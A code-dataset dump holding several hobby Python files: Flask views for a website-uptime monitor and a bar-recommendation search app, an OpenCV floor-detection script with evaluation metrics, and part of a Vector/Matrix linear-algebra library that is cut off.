get_builders(branch, starttime=None, endtime=None):\n return buildapi.model.builds.getBuilders(branch)\n","sub_path":"buildapi/lib/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":7596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"241588004","text":"from flask import render_template, request\nfrom monitor import app\nfrom monitor.monitoring import monitor_website, ping, get_server_ip, check_latency, get_server_location\nfrom monitor.models import CheckedWebsite, updateDatabase\nfrom sqlalchemy import desc\n\nimport smtplib\nimport os\n\nEMAIL_ADRESS = os.environ.get('EMAIL_USER')\nEMAIL_PASSWORD = os.environ.get('EMAIL_PASS')\n\n\n@app.route(\"/\", methods=['GET', 'POST'])\ndef index():\n database_query = CheckedWebsite.query.order_by(desc(CheckedWebsite.check_date)).limit(10).all()\n\n if request.method == 'POST' and request.form['url'] != '':\n url = request.form['url']\n #response = monitor_website(ping(url))# respone = [0] r.url | [1] r.status_code | [2] r.reason | [3] server_ip | [4] latency | [5] server_location | [6] isdown\n url, status_code, status_reason, server_ip, server_latency, server_location, isdown = monitor_website(ping(url))\n database_return = CheckedWebsite(website_url=str(url), response_code=str(status_code), response_message=str(status_reason), isdown=isdown)\n updateDatabase(database_return)\n database_query_update = CheckedWebsite.query.order_by(desc(CheckedWebsite.check_date)).limit(10).all()\n return render_template('index.html', title=\"Is the website down? | ServerMonitor\", url=url, status_code=status_code, status_reason=status_reason, ip=server_ip, lat=server_latency, loc=server_location, isdown=isdown, database_query=database_query_update)\n else:\n database_query_last = CheckedWebsite.query.order_by(desc(CheckedWebsite.check_date)).first() #CheckedWebsite.query.order_by(desc(CheckedWebsite.check_date)).limit(1).first()\n database_query_last_str = str(database_query_last)\n database_query_last_list = database_query_last_str.split()\n \n check_date = str(database_query_last_list[0] + \" \" + database_query_last_list[1])\n url = str(database_query_last_list[2])\n status_code = database_query_last_list[3]\n\n if status_code != 'NONE':\n status_code = int(database_query_last_list[3])\n else:\n status_code = 'NONE'\n\n status_reason = str(database_query_last_list[4])\n isdown = database_query_last_list[5]\n\n if isdown == 'True':\n isdown = True\n else:\n isdown = False\n\n return render_template('index.html', title=\"Is the website down? | ServerMonitor\", url=url, status_code=status_code, status_reason=status_reason, lat='-', loc='-', ip='-', isdown=isdown, database_query=database_query)\n\n\n@app.route(\"/info\", methods=('GET', 'POST'))\ndef info():\n if request.method == 'POST':\n name = request.form['txtName']\n email = request.form['txtEmail']\n website = request.form['txtWebsite']\n message = request.form['txtMsg']\n mail(name, email, website, message)\n return render_template('info.html', title=\"SENT | ServerMonitor\")\n else:\n return render_template('info.html', title=\"Info | ServerMonitor\")\n\n\n@app.errorhandler(404)\ndef page_not_found(e):\n return render_template('404.html'), 404\n\n\n\ndef mail(name, email, website, message):\n with smtplib.SMTP('smtp.googlemail.com', 587) as smtp:\n smtp.ehlo()\n smtp.starttls()\n smtp.ehlo()\n\n smtp.login(EMAIL_ADRESS, EMAIL_PASSWORD)\n\n subject = 'InspiredProgrammer ServerMonitor - Contact Form'\n body = 'Mail from ' + name + ', ' + email + ' (' + website + ')\\n\\n' + message\n msg = f'Subject: {subject}\\n\\n{body}'\n\n smtp.sendmail(EMAIL_ADRESS, EMAIL_ADRESS, msg)\n","sub_path":"monitor/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"492425623","text":"from . import *\nfrom app.irsystem.models.helpers import *\nfrom app.irsystem.models.helpers import NumpyEncoder as NumpyEncoder\nfrom app.irsystem.services import cosine_sim_search as cosine_system\nfrom app.irsystem.services import bar_search as bar_system\nfrom app.irsystem.services import bars_list\n\nproject_name = \"Club Advisor\"\nnet_id = \"Daniel Sanderson: dbs264, Alexander Schmack: as2968, John DeMoully: jjd268, Sophia Markel: slm353, Victoria Katz: vek9\"\n\n\n@irsystem.route('/suggestions')\ndef suggestions():\n query = request.args.get('search')\n city = request.args.get('city')\n location = request.args.get('location')\n price = request.args.get('price')\n bar_name = request.args.get('bar_name')\n\n if not price:\n price = 5\n # if no location entered in a search, dont display results\n if not city:\n if query or bar_name:\n output_message = 'Please enter a City'\n city = \"new_york\"\n data = [0]\n else:\n output_message = ''\n data = []\n # if given bar name, retrieve with similar bars\n elif bar_name:\n output_message = \"Your search: Bars like \" + bar_name + \\\n \" in \" + location + \"(\" + city + \") for \" + \"$\" * int(price)\n data = bar_system.search(bar_name, city, int(price), location)\n # retrieve based on additional preferences, need to factor in presets\n else:\n if not query:\n query = ''\n start = \"Your search: \" + query\n output_message = start + \" in \" + location + \\\n \"(\" + city + \") for \" + \"$\" * int(price)\n data = cosine_system.search(query, city, int(price), location)\n\n return render_template('suggestions.html', name=project_name, netid=net_id, output_message=output_message, data=data)\n\n# initial page with city search\n@irsystem.route('/')\ndef search():\n cities= [\"New York\", \"Montreal\", \"Miami\"]\n return render_template('search.html', cities = cities)\n\n\n\n@irsystem.route('/preference_search')\ndef preference_search():\n city = request.args.get('city')\n return render_template('preference_search.html', city=city)\n\n\n@irsystem.route('/bar_search')\ndef bar_search():\n cities_list = [\"new_york\", \"New York\",\n \"Miami\", \"miami\", \"montreal\", \"Montreal\"]\n city = request.args.get('city')\n bars = []\n if city in cities_list:\n bars = bars_list.bars_list_for_city(city)\n return render_template('bar_search.html', bars=bars, city=city)\n\n\n","sub_path":"app/irsystem/controllers/search_controller.py","file_name":"search_controller.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"453115804","text":"import cv2\nimport numpy as np\nimport os\nimport sys\nfrom operator import itemgetter\n\ndef calculateMetrics(GT,OUTPUT):\n ''' This method calculates Accuracy, Precision, and Recall\n Relevant items = Superpixels that represent Objects on the floor\n TP = True Positive - Superpixels that were correctly classified as part of the object\n TP = True Positive - Superpixels that were correctly classified as part of the object\n TN = True Negative - Superpixels that were correctly classified as NOT part of the object\n FP = False Positive - Superpixels that were INcorrectly classified as part of the object\n FN = False Negative - Superpixels that were INcorrectly classified as NOT part of the object.\n\n Accuracy = (TP + TN)/(TP + TN + FP +FN)\n Precision = TP/(TP+FP)\n Recall = TP/(TP + FN)\n '''\n acc = 0\n prec = 0\n rec = 0\n h,w = GT.shape\n # print(h,w)\n TP,TN,FP,FN = 0,0,0,0\n for y in range(h):\n for x in range(w):\n v = 2*GT[y][x]/255 - OUTPUT[y][x]/255\n # print(v)\n if v == 0:\n TP += 1\n elif v == 1:\n TN += 1\n elif v == -1:\n FN += 1\n elif v == 2:\n FP +=1\n # print ('TP',TP,'TN',TN,'FP',FP,'FN',FN)\n acc = (TP + TN)/(TP + TN + FP +FN)\n if TP + FP !=0:\n prec = TP/(TP + FP)\n if TP + FN !=0:\n rec = TP/(TP + FN)\n\n print('Accuracy:',acc,',Precision:',prec,',Recall:',rec)\n return (acc,prec,rec)\n\n\n def paintImages(self,lines,name,img,Wimg):\n B,G,R =[int(c) for c in np.random.randint(0,256,size=(3,))]\n for line in lines:\n x1,y1,x2,y2 = line\n cv2.line(img,(x1,y1),(x2,y2),(B,G,R),2)\n cv2.line(Wimg,(x1,y1),(x2,y2),(B,G,R),2)\n cv2.imwrite(name,img)\n # cv2.imwrite(name+self.outputimg,img)\n # cv2.imwrite(name+self.outputimg,Wimg)\n\nclass FloorDetection:\n def __init__(self):\n self.outputimg = \"\"\n\n def edgeDetection(self,img):\n self.img = cv2.imread(img.path)\n self.Wimg = np.ones(self.img.shape[0:2])*255\n self.height, self.width = self.img.shape[0:2]\n folder,_ = img.path.split('originals')\n self.outputimg1 = folder + 'output/' + img.name\n self.outputimg2 = folder + 'lines_on_originals/' + img.name\n self.edges = cv2.Canny(self.img,30,90)\n return self.edges\n\n def lineDetection(self):\n lines = cv2.HoughLinesP(self.edges, 1, np.pi / 180, 50, 50, 10)\n self.lines = []\n if (lines == None):\n return\n for line in lines:\n x1,y1,x2,y2 = line[0]\n if y1 > self.height/2 and y2 > self.height/2:\n self.lines.append(line[0])\n # self.paintImages(self.lines,\"lines_\",self.img.copy(),self.Wimg.copy())\n return self.lines\n\n def getVcandidates(self,theta,error):\n Lcand = []\n Rcand = []\n for line in self.lines:\n x1,y1,x2,y2 = line\n Y = y2 - y1\n X = x2 - x1\n m = Y/X if X !=0 else float('inf')\n b = y1 - m*x1\n dist = np.sqrt(Y**2 + X**2)\n angle = np.arctan2(Y,X)\n ang = np.abs(np.degrees(angle))\n if ang >= theta - error and ang <= theta + error:\n if x1 < self.width/2 and x2 < self.width/2:\n Lcand.append([line,m,b,dist])\n elif x1 > self.width/2 and x2 > self.width/2:\n Rcand.append([line,m,b,dist])\n return Lcand,Rcand\n\n def getOcandidates(self,theta,error):\n Lcand = []\n Rcand = []\n for line in self.lines:\n x1,y1,x2,y2 = line\n Y = y2 - y1\n X = x2 - x1\n m = Y/X if X !=0 else float('inf')\n b = y1 - m*x1\n dist = np.sqrt(Y**2 + X**2)\n angle = np.degrees(np.arctan2(Y,X))\n ang = np.abs(angle)\n if ang >= theta - error and ang <= theta + error:\n if angle < -10:\n Lcand.append([line,m,b,dist])\n elif angle > 10:\n Rcand.append([line,m,b,dist])\n return Lcand,Rcand\n\n\n def getVpoints(self,lines,s):\n # Sort lines based on length in decreasing order\n slines = sorted(lines, key=itemgetter(3),reverse=True)\n # choose the longest line\n theline = slines[0][:]\n # choose point closes to the floor\n x1,y1,x2,y2 = theline[0]\n if y1 > self.height/2:\n py = y1\n px = x1\n elif y2 > self.height/2:\n py = y2\n px = x2\n # create line that goes through point (px,py) with slope equal to +o-1.4\n m = s*1.4\n b = py - m * px\n\n # find point that goes through the line and it is in the middle of the image\n my = int(np.ceil(self.height/2))\n mx = int(np.ceil((my-b)/m))\n\n # find point that goes through the line and it is in the bottom of the image\n my = int(np.ceil(self.height/2))\n by = self.height-1\n bx = int(np.ceil((by-b)/m))\n return mx,my,bx,by\n\n def getOpoints(self,lines):\n # Sort lines based on length in decreasing order\n slines = sorted(lines, key=itemgetter(3),reverse=True)\n # choose the longest line\n theline,m,b,dist = slines[0][:]\n x1,y1,x2,y2 = theline\n\n # find point that goes through the line and it is in the middle of the image\n my = int(np.ceil(self.height/2))\n mx = int(np.ceil((my-b)/m))\n\n # find point that goes through the line and it is in the bottom of the image\n by = self.height-1\n bx = int(np.ceil((by-b)/m))\n return mx,my,bx,by\n\n\n def floorBoundary(self):\n self.Lvlines,self.Rvlines = self.getVcandidates(90,10)\n self.Lolines,self.Rolines = self.getOcandidates(45,20)\n\n # img = self.img.copy()\n # Wimg = self.Wimg.copy()\n # self.paintImages([line[0] for line in self.Lvlines],\"Vlines_\",img,Wimg)\n # self.paintImages([line[0] for line in self.Rvlines],\"Vlines_\",img,Wimg)\n #\n # img = self.img.copy()\n # Wimg = self.Wimg.copy()\n # self.paintImages([line[0] for line in self.Lolines],\"Olines_\",img,Wimg)\n # self.paintImages([line[0] for line in self.Rolines],\"Olines_\",img,Wimg)\n\n def floorDetection(self):\n Ocont = []\n ptsL = 0,self.height//2,0,self.height-1\n ptsR = self.width-1,self.height//2, self.width-1,self.height-1\n if(len(self.Lolines)>0):\n ptsL = self.getOpoints(self.Lolines)\n Ocont.append('OL')\n\n if(len(self.Rolines)>0):\n ptsR = self.getOpoints(self.Rolines)\n Ocont.append('OR')\n\n op = len(Ocont)\n if (op!=2):\n if (op==0):\n # if vlines lists are not empty find left and right points\n if(len(self.Lvlines)>0):\n ptsL = self.getVpoints(self.Lvlines,-1)\n if(len(self.Rvlines)>0):\n ptsR = self.getVpoints(self.Rvlines,1)\n else:\n if (Ocont[0]=='OL'): # if vlines lists are empty\n if (len(self.Rvlines)>0):\n ptsR = self.getVpoints(self.Rvlines,1)\n elif (Ocont[0]=='OR'):\n ptsL = self.getVpoints(self.Lvlines,-1)\n\n self.floorLines = [ptsL,ptsR,[ptsL[0],ptsL[1],ptsR[0],ptsR[1]]]\n # self.paintImages(self.floorLines,self.outputimg2,self.img.copy(),self.Wimg.copy())\n\n def drawFloor(self):\n img = self.img.copy()\n xl1,yl1,xl2,yl2 = self.floorLines[0]\n Y = yl2 - yl1\n X = xl2 - xl1\n ml = Y/X if X !=0 else float('inf')\n if (ml == float('inf')):\n xref1 = xl1\n else:\n bl = yl1 - ml * xl1\n\n xr1,yr1,xr2,yr2 = self.floorLines[1]\n Y = yr2 - yr1\n X = xr2 - xr1\n mr = Y/X if X !=0 else float('inf')\n if (mr == float('inf')):\n xref2 = xr1\n else:\n br = yr1 - mr * xr1\n\n for y in range(self.height):\n for x in range(self.width):\n if (y >= self.height/2):\n if ml != float('inf'):\n xref1 = (y - bl)/ml\n if mr !=float('inf'):\n xref2 = (y - br)/mr\n if x >=xref1 and x<=xref2:\n self.Wimg[y,x]= 0\n img[y,x] = img[y,x]*0.6 + np.array([255,0,0])*0.4\n cv2.imwrite(self.outputimg1,self.Wimg)\n cv2.imwrite(self.outputimg2,img)\n\n def evaluate(self):\n Accuracy = []\n Precision = []\n Recall = []\n for folder in os.scandir('Images'):\n if folder.is_dir():\n for subfolder in os.scandir(folder.path):\n if subfolder.is_dir() and subfolder.name =='labels':\n print(subfolder.name)\n for file in os.scandir(subfolder.path):\n if file.name.endswith('.png') or file.name.endswith('.jpg'):\n print(file.path)\n lbl = cv2.imread(file.path,0)\n folder,_ = file.path.split('labels')\n output = cv2.imread(folder+'output/'+file.name,0)\n if lbl == None or output == None:\n continue\n acc,prec,rec, = calculateMetrics(lbl,output)\n Accuracy.append(acc)\n Precision.append(prec)\n Recall.append(rec)\n Acc = np.mean(Accuracy)\n Prec = np.mean(Precision)\n Rec = np.mean(Recall)\n print('System Evaluation Results')\n print('Accuracy',Acc)\n print('Precision',Prec)\n print('Recall',Rec)\n return Acc,Prec,Rec\n","sub_path":"python/algorithm.py","file_name":"algorithm.py","file_ext":"py","file_size_in_byte":10045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"182206317","text":"\"\"\"\n Contains a series of functions and custom classes,\\n\n concerning the base of linear algebra,\n Matrices and Vectors\n\n Here are the operations:\n -- Vectors : \n ** Vector Dot \n ** Vector Cross (3D ONLY)\n ** Vector Addition and Subtraction\n ** Vector-Scalar Operations\n -- Matrices:\n ** Matrix Multiplication\n ** Matrix Addition and subtraction\n ** Matrix-Scalar Operations\n ** Matrix-Vector Operations\n ** Trace\n ** Identity Matrix Generator\n ** Determinant\n ** REF (Reduced Echelon Form)\n ** Inverse Matrix\n ** Cofactors\n ** adjugate (transpose)\n ** Minors\n *** Various combinations of the above\n\"\"\"\n\nfrom .basic import isNumber,isInteger,isComplex,Number,product\nfrom . import polynomials as pl\nfrom .trigonometric import acos\nfrom .powers import sqrt\nfrom .num_theory import complex_polar\nimport re\nfrom typing import Union,Any,Dict,Tuple\nfrom . import random as rn\n\nWHITESPACE = ' '\nEXCEPTION_MSG : callable = lambda method : f\"{method} method was not defined for at least one element in the Matrix.\\n(Caused from performing the {method} operation on two elements whose {method} method returns NotImplemented\"\nEXCEPTION_MSG_v : callable = lambda method : f\"{method} method was not defined for at least one element in the Vector.\\n(Caused from performing the {method} operation on two elements whose {method} method returns NotImplemented\"\n\n\n\nepsilon = pl.x #epsilon = lamda \nPOLY = type(epsilon) #\n\n\nclass Vector:\n def __init__(self,array):\n self.matrix = array\n self.rows = len(self.matrix)\n self.collumns = 1\n\n def __str__(self):\n print(\"\")\n i = 1\n for item in self.matrix:\n if 'deg' in str(item): #Check if polynomial\n item = re.sub(r\"\\s+\",'',str(item).split(\":\")[-1])\n item = f'({item})'\n elif 'Multivariable' in str(item): #Check if multinomial\n item = re.sub(r\"\\s+\",'',str(item).split(\":\")[-1])\n item = f'{item}'\n print(f'R{i}| {item:>3}')\n i+=1\n s2 = \"\\n{} x {} Vector array\\n\".format(self.rows,self.collumns)\n return s2\n\n def __repr__(self):\n return self.__str__()\n\n def getMatrix(self):\n return self.matrix\n\n def getSize(self):\n return self.rows\n\n def __getitem__(self,index):\n return self.matrix[index]\n\n def __add__(self,value):\n empty = []\n if type(value) == Vector:\n if value.getSize() != self.getSize():\n raise ValueError(\"Cannot multiply non equal-size collumns ({} with {})\".format(value.getSize(),self.getSize()))\n for i in range(self.getSize()):\n empty.append(value.getMatrix()[i] + self.getMatrix()[i])\n return Vector(empty)\n try:\n return self.forEach(lambda y : y + value)\n except:\n raise EXCEPTION_MSG_v('__add__')\n\n def __radd__(self,value):\n return self.__add__(value)\n\n def __sub__(self,value):\n empty = []\n if type(value) == type(self):\n if value.getSize() != self.getSize():\n raise ValueError(\"Cannot multiply non equal-size collumns ({} with {})\".format(value.getSize(),self.getSize()))\n for i in range(self.getSize()):\n empty.append(value.getMatrix()[i] - self.getMatrix()[i])\n return Vector(empty)\n try:\n return self.forEach(lambda y : y - value)\n except:\n raise ValueError(EXCEPTION_MSG_v(\"__sub__\"))\n\n def __rsub__(self,value):\n return -self + value \n\n def __len__(self):\n return self.rows\n\n def __mul__(self,value):\n \"\"\"Vector Multiplication by scalar\n if other value is Vector,\n the dot product is returned\n \"\"\"\n empty = []\n\n #Scalar or anything else\n if type(value) not in (type(self),Matrix):\n try: \n for item in self.matrix:\n empty.append(value*item)\n return Vector(empty)\n except Exception:\n raise ValueError(EXCEPTION_MSG_v(\"__mul__\"))\n\n #Vector of same dimensions\n elif type(value) == type(self):\n if value.getSize() != self.getSize():\n raise ValueError(\"Cannot multiply non equal-size collumns ({} with {})\".format(value.getSize(),self.getSize()))\n for num in range(self.getSize()):\n empty.append(value.getMatrix()[num] * self.getMatrix()[num])\n return sum(empty)\n\n #Another Matrix\n elif type(value) == Matrix:\n vector_to_matrix = Matrix([[item] for item in self.getMatrix()])\n return vector_to_matrix * value\n\n return NotImplemented #Redefine with __rmul__\n \n def __div__(self,value):\n try:\n return (1/value)*self\n except:\n raise ValueError(EXCEPTION_MSG_v(\"__div__\"))\n\n def __truediv__(self,value):\n return self.__div__(value)\n\n def __rdiv__(self,value): \n try:\n return self.forEach(lambda y : value / y)\n except:\n raise ValueError(\"__rdiv__\")\n\n def __rtruediv__(self,value):\n return self.__rdiv__(value)\n\n def __pow__(self,value):\n try:\n return self.forEach(lambda y : y**value)\n except:\n raise ValueError(EXCEPTION_MSG_v(\"__pow__\"))\n\n def __rpow__(self,value):\n try:\n return self.forEach(lambda y : value**y)\n except:\n raise ValueError(EXCEPTION_MSG_v(\"__rpow__\"))\n\n def __neg__(self):\n return (-1) * self\n\n def __rmul__(self,scalar : Union[int,float]):\n return self.__mul__(scalar)\n\n def __round__(self,ndigits : int = 1):\n __tmp__ : list = []\n for item in self.getMatrix(): \n if type(item) is complex:\n rounded = complex(round(item.real,ndigits),round(item.imag,ndigits))\n else:\n rounded = round(item,ndigits)\n __tmp__.append(rounded)\n return Vector(__tmp__)\n\n def dot(self,Vector) -> Union[float,int]:\n return self.__mul__(Vector) \n\n def cross(self,Vector : 'Vector') -> 'Vector':\n return cross(self,Vector)\n\n def magnitude(self):\n return magnitude(self)\n \n def AngleVector(self,vector1 : \"Vector\",degrees : bool = False) -> float:\n return AngleBetweenVectors(self,vector1,degrees)\n\n def forEach(self,function : callable) -> 'Vector':\n return Vector([\n function(element) for element in self.getMatrix()\n ])\n\nclass Matrix:\n \"\"\"\n The as you known it from math 'Matrix'\\n\n It includes custom operations for the following:\n ** Multiplication\n ** Addition\n ** Subtraction\n\n These are also supported not as methods but as seperate functions:\n ** determinant\n ** inverse\n ** Transpose (adjugate)\n ** Matrix of co-factors (Alternating-Chess pattern sign)\n ** Matrix of Minors (for each element hide the current row and collumn and find the determinant of the following) \n\n You must pass an array of arrays,\\n\n Inside the base array the nested lists are considered as the rows,\\n\n and the collumns are determined vertically\\n\n Matrices shall be passed in the following format :\n\n [ \n #Col1 #Col2 #Col3\n #Row 1 [num1 , num2 , num3 ... numP],\n #Row 2 [num4, num5 , num6 ... numP],\n .......... ...\n #Row n [numK,numL,numO ... numP]\n ]\n\n Input :\n A = Matrix([\n [1,2,3],\n [4,5,6],\n [7,8,9]\n ])\n\n Output :\n C1 C2 C3\n\n R1 | 1 2 3\n R2 | 4 5 6\n R3 | 7 8 9\n\n for more specific methods you can use the dir() function\n\n \"\"\"\n def __init__(self,matrix):\n \"\"\"Takes an array of arrays of numbers\n The arrays inside the array as seen as the rows\n \"\"\"\n if type(matrix) != list:\n raise ValueError(\"Matrix must be an array of arrays.\")\n \n self.ROW_LENGTHS = []\n\n for row in matrix:\n if type(row) == list:\n self.ROW_LENGTHS.append(len(row))\n else:\n raise ValueError(\"Every argument inside the base array which is considered as a row should be of type {} (Your array had at least one element that was not of type {})\".format(list,list))\n if len(self.ROW_LENGTHS) != self.ROW_LENGTHS.count(self.ROW_LENGTHS[0]):\n raise ValueError(\"All rows of a matrix shall only be of same size. not {}\".format(self.ROW_LENGTHS))\n\n self.matrix = matrix\n self.rows = len(self.matrix)\n self.collumns = self.ROW_LENGTHS[0]\n self.isSquare = self.rows == self.collumns\n\n self.cols = []\n for _ in range(self.ROW_LENGTHS[0]):\n self.cols.append([])\n\n for row in self.matrix:\n i = 0\n for value in row:\n self.cols[i].append(value)\n i+=1\n\n def rawMatrix(self):\n \"\"\"Returns the raw array passed in (self.matrix)\"\"\"\n return self.matrix\n\n def colls(self,index : int = 0) -> list:\n \"\"\"Returns a collumn when an index is specified (default is 0)\"\"\"\n return self.cols[index]\n \n def is_square(self) -> bool:\n \"\"\"Wheter a matrix has the same number of rows as collumns\"\"\"\n return self.isSquare\n\n def collsAll(self) -> list:\n \"\"\"Returns an array of all the collumns\"\"\"\n return self.cols\n\n def row(self,index : int = 0):\n \"\"\"Returns a specific row given an index (default is 0)\"\"\"\n return self.matrix[index]\n\n def index(self,row,collumn):\n \"\"\"Returns the position given the corresponding row and collumn\"\"\"\n return self.matrix[row][collumn]\n\n def __len__(self):\n \"\"\"Returns a tuple containng number of rows and collumns (rows,collumns)\"\"\"\n return (self.rows,self.collumns) # (number of rows,number of collumns)\n\n def __eq__(self,value):\n \"\"\"Return equality if the arrays are equal\"\"\"\n if type(value) in (type(self),Vector):\n array_item = value.rawMatrix() if type(value) == type(self) else value.getMatrix()\n return self.rawMatrix() == array_item\n return NotImplemented\n\n def __str__(self):\n \"\"\"The method called when printing a matrix\"\"\"\n print(\"\")\n x = [item[:] for item in self.matrix]\n k = 0\n for item in x:\n j = 0\n if len(item) > 8:\n x[k] = item[1:9]\n x[k].append(\"...\")\n x[k].append(self.cols[-1][k])\n j+=1\n \n k+=1\n k = 0 \n y = [] \n for iteration in range(self.collumns):\n if iteration >=8:\n y.append(\"...\")\n y.append(f'C{self.collumns}')\n break\n y.append(f\"C{iteration+1}\")\n x.insert(0,y)\n j = 1\n \n for item in x:\n if j > 9:\n print(\"\\n .........\")\n CACHE = []\n for item in x[-1]:\n if Number(item):\n if type(item) == complex:\n y = complex_polar(item)\n NEW_ARRAY.append(f\"({round(y[0],2)},{round(y[1],2)})\")\n continue\n CACHE.append('{: <10}'.format(round(item,4)))\n continue\n CACHE.append('{: <10}'.format(item))\n print(f' R{len(x)-1}|',*CACHE)\n break\n item[0] = f'\\t{item[0]}'\n if j==1:\n cols_t = \" \".join([\"{: <10}\" for _ in range(len(item))])\n cols_t = cols_t.format(*item)\n print(' CI | {}'.format(cols_t))\n j+=1\n continue\n NEW_ARRAY = []\n for val in item:\n if \"...\" in str(val):\n NEW_ARRAY.append(val)\n continue\n if not 'deg' in str(val) and not 'Multivariable' in str(val):\n val = complex(val)\n\n if val.imag != 0: \n com_val = complex(val)\n y = complex_polar(com_val)\n NEW_ARRAY.append(f\"({round(y[0],2)},{round(y[1],2)})\")\n continue\n\n test = val.real\n\n if test != int(test):\n float_rounded = float(test)\n if len(str(float_rounded)) >= 10:\n value = round(float_rounded,2)\n if len(str(value)) >=10:\n value = f'{float(val):.2e}'\n else:\n value = f'{float_rounded:>4}'\n else:\n if len(str(val)) >= 10:\n value = f'{int(test):.2e}'\n else:\n value = f'{int(test):>3}'\n NEW_ARRAY.append(value)\n continue\n\n else:\n ws_pol = str(val).split(\":\")[-1]\n no_ws_pol = re.sub(r\"\\s+\",r\"\",ws_pol)\n finale = f'({no_ws_pol})'\n if not 'Multivariable' in str(val):\n if len(finale) <= 7:\n NEW_ARRAY.append(f'({no_ws_pol})')\n elif 7 < len(finale) <= 9 :\n NEW_ARRAY.append(f'{no_ws_pol}')\n else:\n NEW_ARRAY.append(f'({no_ws_pol})')\n else:\n NEW_ARRAY.append(f'{no_ws_pol}')\n\n \n cols_t = \" \".join([\"{: <10}\" for _ in range(len(NEW_ARRAY))])\n print(f' R{j-1} |',cols_t.format(*NEW_ARRAY))\n j+=1\n return f'\\n{self.rows} x {self.collumns} Matrix\\n'\n\n def __repr__(self):\n return self.__str__()\n\n def __round__(self,ndigits : int = 1) -> \"Matrix\":\n \"\"\"Method for rounding a Matrix\"\"\"\n __tmp__ : list = [[] for item in self.rawMatrix()]\n i = 0\n for row in self.rawMatrix():\n for item in row: \n if type(item) is complex:\n rounded = complex(round(item.real),round(item.imag))\n else:\n rounded = round(item,ndigits)\n\n __tmp__[i].append(rounded)\n i+=1\n return Matrix(__tmp__)\n\n def __rmul__(self,scalar):\n \"\"\"Matrix multiplication by scalar or Matrix (rside)\"\"\"\n\n #Multiply Every element of the Matrix by the scalar\n if type(scalar) != type(self):\n #Special case where it is a vector\n if type(scalar) == Vector:\n return self.__mul__(adjugate(Matrix(scalar.getMatrix())))\n try:\n new_matrix = [[] for i in range(self.rows)] #Add the rows\n i = 0\n for row in self.matrix:\n for constant in row:\n new_matrix[i].append(constant * scalar)\n i+=1\n return Matrix(new_matrix)\n except:\n raise ValueError(EXCEPTION_MSG(\"__mul__\"))\n\n #Type is Matrix\n else:\n return self.__mul__(scalar)\n \n def __neg__(self):\n \"\"\"return -Matrix\"\"\"\n return (-1) * self\n \n def __add__(self,Matrx):\n \"\"\"\n Return the sum beetween two Matrices,\n Even though not Mathematically defined, adding a scalar to a Matrix will apply the .forEach method,\n since it is very commonly used in operations\n \"\"\"\n #Scalar Operations call .forEach\n if type(Matrx) != type(self):\n try:\n return self.forEach(lambda item : item + Matrx)\n except:\n raise ValueError(EXCEPTION_MSG(\"__add__\"))\n\n #Row-Collumn Equality (Matrix Addition)\n if self.__len__() != Matrx.__len__():\n raise ValueError(\"Rows and Collumns must be equal! {} != {}\".format(self.__len__(),Matrx.__len__()))\n new_matrix = [[] for row in range(self.rows)]\n try:\n i = 0\n for row in self.matrix:\n k = 0 \n for num in row:\n new_matrix[i].append(num+Matrx.rawMatrix()[i][k])\n k +=1\n i+=1\n return Matrix(new_matrix)\n except:\n raise ValueError(EXCEPTION_MSG(\"__add__\"))\n\n def __radd__(self,value):\n return self.__add__(value)\n\n def __rsub__(self,value):\n return -self + value\n\n def __sub__(self,Matrx):\n \"\"\"\n Return the difference beetween two Matrices,\n Even though not Mathematically defined, subtracting a scalar from a Matrix will apply the .foreach method,\n since it is very commonly used in operations\n \"\"\"\n #Even though not Mathematically defined subtracting a scalar from a Matrix will apply the .foreach method\n if type(Matrx) != type(self):\n scalar = Matrx #Identify the value as a scalar\n try:\n return self.forEach(lambda item : item - scalar)\n except:\n raise ValueError(EXCEPTION_MSG(\"__sub__\"))\n\n #Rows and Collumns must be equal in order to add Matrices \n if self.__len__() != Matrx.__len__():\n raise ValueError(\"Rows and Collumns must be equal! {} != {}\".format(self.__len__(),Matrx.__len__()))\n try:\n new_matrix = [[] for row in range(self.rows)]\n i = 0\n for row in self.matrix:\n k = 0 \n for num in row:\n new_matrix[i].append(num-Matrx.rawMatrix()[i][k])\n k +=1\n i+=1\n return Matrix(new_matrix)\n except:\n raise ValueError(EXCEPTION_MSG(\"__sub__\"))\n\n def __mul__(self,value):\n \"\"\"\n Matrix multiplication by another Matrix or scalar\n \"\"\"\n #Any other value or scalar\n if type(value) not in (Vector,type(self)):\n return self.__rmul__(value)\n \n #Vector\n elif type(value) == Vector:\n vector_to_matrix = Matrix([[item] for item in value.getMatrix()])\n return self * vector_to_matrix\n \n #Matrix Multiplication\n else:\n row_0 = self.__len__()\n col_0 = value.__len__()\n if row_0[1] != col_0[0]: \n raise ValueError(f\"\\nCannot multiply a {row_0[0]} x {row_0[1]} with a {col_0[0]} x {col_0[1]} Matrix,\\nMatrix 1 must have the same number of rows as the number of collumns in Matrix 2 \\n({row_0[1]} != {col_0[0]})\")\n try:\n new_matrix = [[] for i in range(row_0[0])]\n COLS_M2 = value.collsAll()\n j = 0\n for row in self.matrix:\n for collumn in COLS_M2:\n iterations = 0\n total = 0\n for scalar in collumn:\n total += scalar*row[iterations]\n iterations+=1\n new_matrix[j].append(total)\n j+=1\n return Matrix(new_matrix)\n except:\n raise EXCEPTION_MSG(\"__mul__\")\n\n def __div__(self,scalar):\n \"\"\"Division by scalar (inverse of scalar time the matrix)\"\"\"\n if type(scalar) != type(self):\n try:\n return (1 / scalar) * self\n except:\n raise ValueError(EXCEPTION_MSG(\"__div__\"))\n return NotImplemented\n\n def __rdiv__(self,value):\n try:\n return self.forEach(lambda x : value / x)\n except:\n raise ValueError(EXCEPTION_MSG(\"__rdiv__\"))\n\n def __truediv__(self,value):\n \"\"\"Division by scalar\"\"\"\n return self.__div__(value)\n\n def __rtruediv__(self, value):\n return self.__rdiv__(value)\n\n def __pow__(self,value):\n if type(value) != type(self):\n try:\n return self.forEach(lambda x : x**value)\n except:\n raise ValueError(EXCEPTION_MSG(\"__pow__\"))\n return NotImplemented\n\n def __rpow__(self,value):\n if type(value) == type(self):\n return NotImplemented\n try:\n return self.forEach(lambda x : value**x)\n except:\n raise 